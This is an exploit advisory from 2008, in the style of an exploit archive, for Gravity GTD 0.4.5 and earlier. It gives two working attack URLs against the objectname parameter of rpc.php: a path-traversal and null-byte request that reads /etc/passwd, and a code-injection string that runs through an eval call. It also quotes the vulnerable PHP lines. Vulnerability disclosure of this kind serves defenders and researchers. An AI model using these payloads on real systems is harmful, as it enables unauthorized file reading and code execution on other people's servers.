Gravity GTD <= 0.4.5 (rpc.php objectname) LFI/RCE Vulnerability

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   [ Discovered by dun \ dun[at]strcpy.pl ]

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 #  [ gravity-gtd <= 0.4.5 ]  LFI/RCE Vulnerability  #
 #####################################################
 #
 # Script: An open source list manager for tracking action items according to the principles of Getting Things Done (GTD).
 #
 # Download: http://sourceforge.net/projects/gravity-gtd/
 #
 # [LFI] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=/../../../../../../../../etc/passwd%00
 # [RCE] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=Xmenu();phpinfo();die
 #     
 # Bug: ./gravity-0.4.5/library/setup/rpc.php (lines: 15-20)
 #
 # ...
 #		$objectName = $_REQUEST['objectname'];
 #
 #
 #		include  ("../objects/class.".strtolower($objectName).".php");				// LFI
 #
 #		eval ('$instance = new '.$objectName.'();');								// RCE
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

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